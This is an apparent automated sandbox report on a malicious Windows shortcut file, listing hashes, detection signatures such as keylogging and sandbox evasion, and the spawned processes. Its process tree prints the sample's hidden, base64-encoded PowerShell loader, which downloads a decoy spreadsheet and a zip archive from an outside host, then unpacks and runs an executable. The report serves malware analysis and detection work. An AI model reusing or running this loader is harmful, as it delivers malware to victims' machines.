Edit tour
Windows
Analysis Report
S5dpmRJg30.lnk
Overview
General Information
| Sample name: | S5dpmRJg30.lnkrenamed because original name is a hash value |
| Original sample name: | 27bc8cf12690aec8df78b3cf6e298b63.lnk |
| Analysis ID: | 1640391 |
| MD5: | 27bc8cf12690aec8df78b3cf6e298b63 |
| SHA1: | f3c1a714dee2413a97f5fa0588a90b84a6a95e5c |
| SHA256: | 65729a2ac815d385eae0ec53cb58edc12bc915ac81bf7aa40d48b06029f2e243 |
| Tags: | lnkuser-abuse_ch |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Found API chain indicative of sandbox detection
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Suspicious command line found
Suspicious powershell command line found
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected non-DNS traffic on DNS port
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 7964 cmdline: "C:\Window s\System32 \cmd.exe" /c powersh ell -Windo wStyle Hid den -Comma nd "[Syste m.Text.Enc oding]::UT F8.GetStri ng([System .Convert]: :FromBase6 4String('J HRlbXA9W1N 5c3RlbS5JT y5QYXRoXTo 6R2V0VGVtc FBhdGgoKTs kZG9jdW1lb nRzPVtTeXN 0ZW0uRW52a XJvbm1lbnR dOjpHZXRGb 2xkZXJQYXR oKCdNeURvY 3VtZW50cyc pO0ludm9rZ S1XZWJSZXF 1ZXN0IC1Vc mkgJ2h0dHB zOi8vc2hhc mVmaWxlc29 ubGluZS5uZ XQvTWl4RGV wMjAyNS54b HN4JyAtT3V 0RmlsZSAiJ GRvY3VtZW5 0c1xNaXhEZ XAyMDI1Lnh sc3giO1N0Y XJ0LVByb2N lc3MgLUZpb GVQYXRoICI kZG9jdW1lb nRzXE1peER lcDIwMjUue GxzeCI7SW5 2b2tlLVdlY lJlcXVlc3Q gLVVyaSAna HR0cHM6Ly9 zaGFyZWZpb GVzb25saW5 lLm5ldC9lc ncuemlwJyA tT3V0RmlsZ SAiJHRlbXB cZXJ3Lnppc CI7QWRkLVR 5cGUgLUFzc 2VtYmx5TmF tZSBTeXN0Z W0uSU8uQ29 tcHJlc3Npb 24uRmlsZVN 5c3RlbTtbU 3lzdGVtLkl PLkNvbXByZ XNzaW9uLlp pcEZpbGVdO jpFeHRyYWN 0VG9EaXJlY 3RvcnkoIiR 0ZW1wXGVyd y56aXAiLCA kdGVtcCk7U 3RhcnQtUHJ vY2VzcyAtR mlsZVBhdGg gIiR0ZW1wX GEuZXhlIiA tQXJndW1lb nRMaXN0ICI kdGVtcFxQL mEzeCIgLU5 vTmV3V2luZ G93IC1XYWl 0DQojIEJSQ UJVUw0K')) | Invoke- Expression " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7972 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 8024 cmdline: powershell -WindowSt yle Hidden -Command "[System.T ext.Encodi ng]::UTF8. GetString( [System.Co nvert]::Fr omBase64St ring('JHRl bXA9W1N5c3 RlbS5JTy5Q YXRoXTo6R2 V0VGVtcFBh dGgoKTskZG 9jdW1lbnRz PVtTeXN0ZW 0uRW52aXJv bm1lbnRdOj pHZXRGb2xk ZXJQYXRoKC dNeURvY3Vt ZW50cycpO0 ludm9rZS1X ZWJSZXF1ZX N0IC1Vcmkg J2h0dHBzOi 8vc2hhcmVm aWxlc29ubG luZS5uZXQv TWl4RGVwMj AyNS54bHN4 JyAtT3V0Rm lsZSAiJGRv Y3VtZW50c1 xNaXhEZXAy MDI1Lnhsc3 giO1N0YXJ0 LVByb2Nlc3 MgLUZpbGVQ YXRoICIkZG 9jdW1lbnRz XE1peERlcD IwMjUueGxz eCI7SW52b2 tlLVdlYlJl cXVlc3QgLV VyaSAnaHR0 cHM6Ly9zaG FyZWZpbGVz b25saW5lLm 5ldC9lcncu emlwJyAtT3 V0RmlsZSAi JHRlbXBcZX J3LnppcCI7 QWRkLVR5cG UgLUFzc2Vt Ymx5TmFtZS BTeXN0ZW0u SU8uQ29tcH Jlc3Npb24u RmlsZVN5c3 RlbTtbU3lz dGVtLklPLk NvbXByZXNz aW9uLlppcE ZpbGVdOjpF eHRyYWN0VG 9EaXJlY3Rv cnkoIiR0ZW 1wXGVydy56 aXAiLCAkdG VtcCk7U3Rh cnQtUHJvY2 VzcyAtRmls ZVBhdGggIi R0ZW1wXGEu ZXhlIiAtQX JndW1lbnRM aXN0ICIkdG VtcFxQLmEz eCIgLU5vTm V3V2luZG93 IC1XYWl0DQ ojIEJSQUJV Uw0K')) | Invoke-Exp ression" MD5: 04029E121A0CFA5991749937DD22A1D9) 
EXCEL.EXE (PID: 7460 cmdline: "C:\Progra m Files (x 86)\Micros oft Office \Root\Offi ce16\EXCEL .EXE" "C:\ Users\user \Documents \MixDep202 5.xlsx" MD5: 4A871771235598812032C822E6F68F19) 
splwow64.exe (PID: 5636 cmdline: C:\Windows \splwow64. exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73) 
a.exe (PID: 7564 cmdline: "C:\Users\ user\AppDa ta\Local\T emp\a.exe" C:\Users\ user\AppDa ta\Local\T emp\\P.a3x MD5: 0ADB9B817F1DF7807576C2D7068DD931) - cmd.exe (PID: 5452 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "Expand-A rchive -Pa th C:\Prog ramData\py .zip -Dest inationPat h C:\Progr amData\PyP ackages -F orce" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 3036 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3040 cmdline:
powershell -command "Expand-Ar chive -Pat h C:\Progr amData\py. zip -Desti nationPath C:\Progra mData\PyPa ckages -Fo rce" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - cmd.exe (PID: 1996 cmdline:
C:\Windows \system32\ cmd.exe /c python.ex e logo.png MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4064 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
AppInstallerPythonRedirector.exe (PID: 2072 cmdline: python.exe logo.png MD5: 5E1055E69FF01930C62388625726A90E)
svchost.exe (PID: 8184 cmdline: C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||